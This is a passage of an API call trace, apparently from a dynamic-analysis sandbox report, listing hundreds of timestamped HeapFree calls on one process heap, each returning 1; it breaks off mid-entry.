[0173.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0173.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.946] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0173.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0174.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0174.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0174.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.415] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.415] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.810] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0174.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.817] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0174.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0174.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.138] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.138] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0175.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.230] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.237] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.238] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0175.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0175.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.452] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.453] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.454] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.454] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.642] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.642] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.642] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0176.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0176.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0176.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0176.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4111f98 | out: hHeap=0x420000) returned 1 [0176.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0176.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0176.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0176.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0176.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0176.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0176.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0176.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0177.276] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0177.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0177.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0177.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0177.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0177.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0177.670] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0178.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0178.530] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0178.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0178.818] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0178.820] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0178.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0178.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0178.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0178.964] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0178.964] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0178.964] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0178.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0178.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0178.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0178.976] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0178.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.422] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0180.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0180.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.425] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.425] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.427] 